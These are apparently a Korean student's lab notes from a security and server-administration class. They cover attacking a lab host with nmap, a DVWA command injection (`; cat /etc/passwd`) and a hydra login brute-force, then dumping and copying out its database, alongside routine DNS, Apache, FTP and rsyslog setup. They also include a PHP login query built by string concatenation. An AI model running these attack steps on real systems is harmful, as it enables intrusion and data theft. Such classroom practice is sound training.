DAY11
DAY11

미션1: victim.jeonjucom.kr 공격하기

NAT설정(외부연결)
nslookup victim.jeonjucom.kr (ip 확인)
nmap -v -p1-65535 192.168.0.126 (포트번호 확인)

192.168.0.126
dvwa (admin/password)
    dvwa security -> low
    command injection > ping a device > ; cat /etc/passwd (1000번대가 사용자임을 확인)

cd /home/kali
su
nano user.txt
nano passwd.txt
hydra -L user.txt -P passwd.txt victim.jeonjucom.kr http-post-form "/login_chk.php:id=^USER^&pw=^PASS^:fail" -V

=> (bee/1qaz2wsx)

ssh 192.168.0.126 (bee/1qaz2wsx)


Bootstrap Example

미션2: 윈도우10에서 3대 서버로 접속할 수 있도록 설정한 후 웹브라우저와 EDITPLUS로 접속하기

st.kr로 확인

editplus 로 사이트 접속
    intra.st.kr
    intra.st.kr
    st
    123456
    /home/st/public_html

(st.kr과 비교)
    st.kr
    st.kr
    root
    123456
    /var/www/html

Bootstrap Example

서버설정


nat설정 포트포워딩(21,22,143,110,25,80,53,3306)
    53번은 udp로 연결 !!
nano /etc/bind/st.kr.zone
    ip 변경
nano /etc/resolv.conf
    nameserver ip 변경(10.0.2.15) (***재부팅 후 항상 재확인)
nano /etc/hosts
    ip변경
systelctl restart

nano /etc/bind/hosting.conf (경로 확인!)
   < VirtualHost *:80>
    DocumentRoot /home/st/public_html
    ServerName intra.st.kr
    ServerAdmin st@intra.st.kr
    Errorlog /home/st/public_html/logs/error.log
    CustomLog /home/st/public_html/logs/access.log combined
   < /VirtualHost>


Bootstrap Example

DNS설정

(어댑터>이더넷>속성>ipv4>dns변경)
IP 192.168.0.214로 변경
DNS
기본설정 dns 192.168.1.3
보조 dns 192.168.0.99

nslookup st.kr > server확인, cmd확인

*연결 후 FTP 설치
(apt -y install lamp-server^만 설치하면 일반 사용자에서는 php가 정상적으로 작동하지 않는다)

apt -y install php8.3-fpm

a2enmod proxy_fcgi setenvif
a2enconf php8.3-fpm
systemctl restart php8.3-fpm apache2

*FTP설정
nano /etc/vsftpd.conf
    write_enable=YES
    xferlog_file=/var/log/vsftpd.log
    chroot_local_users=YES
    chroot_list_enable=YES
    ls_recurse_enable=YES
    allow_writeable_chroot=YES
    chroot_list_file=/etc/vsftpd.chroot_list
    local_root=public_html

systemctl restart vsftpd

Bootstrap Example

미션3: syslogd를 사용한 로그기록

syslogd는 시스템 로그를 기록하는 프로그램
(syslog > rsyslog로 대체됨)

rsyslog = 데이터베이스


mysql (데이터베이스 생성)
create database st;
create user st@localhost identified by '123456';
grant all on st.* to st@localhost;
flush privileges;

home/st/public_html
db.php

192.168.0.126 (bee/1qaz2wsx)
su
cat /etc/*release* (linux os 버전 확인?)

mysql -u root -p (권한없음 > 비밀번호 찾기!)

Bootstrap Example

비밀번호 찾기

cd /var/www/dvwa/config
cat config.inc.php

$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'bug';

=> 비밀번호 bug

mysql -u root -p (bug)

show databases;
use dvwa
show tables;
    users
desc users;
select * from users;

mysqldump -u root -p dvwa > dvwa.sql (bug)
ls
mv dvwa.sql /var/www

ssh 192.168.0.214
su st
cd -

wget 192.168.0.126/dvwa.sql (192.168.0.126에 있는 dvwa.sql을 저장해라) (훔치기)

mysql
mysql -u st -p st < dvwa.sql
mysql -u st -p

show databases;
use dvwa
show tables;
desc users;
select * from users;


cat /etc/hostname
    IP214
su
nano /etc/rsyslog.conf
    $IncludeConfig /etc/rsyslog.d/*.conf
nano /etc/rsyslog.d/50-default.conf (밑에 붙이기)
    action(type="omfwd"
    queue.filename="IP214.jeonjucom.kr"
    queue.maxdiskspace="1g"
    queue.saveonshutdown="on"
    queue.type="LinkedList"
    action.resumeRetryCount="-1"
    Target="192.168.0.126" Port="514" Protocol="tcp")

Bootstrap Example

로그인 페이지 만들기

[교재]
PHP 버전 8.3.11

안전한 사용 : PDO방식
    취약한 코드 > MYSQLi 방식으로 사용

MYSQL Examples in Both MySQLi and PDO Syntax
1 MySQLi ()
2 MySQLi ()
3 PDO

------------------------------------------------

mysql
use st
show tables;
selet * from users;
desc users;
    email 없음 > user, password만 있음

login.php > email을 user로 비밀번호를 password로 변경

< ?php
    #1. 데이터 베이스 연결

    include __DIR__ . "/../includes/db.php";

    #2. 전송된 데이터 확인
    $user = ?;
    $password = ?;

    #3. 쿼리 날리기
    $query = "" ;

    #4. 시큐어 코딩

    echo $query;
? >


mysql
select * from user where user=? and password=?;
    error
select * from users where user='admin' and password='password';
    Empty set (0.00 sec)
select user,password from users;
    admin | 5f4dcc3b5aa765d61d8327deb882cf99

$password = md5($password);
    $query = "select * from users where user='admin' and password=$password";
실행시키면 페이지에 진짜 비밀번호가 뜬다!!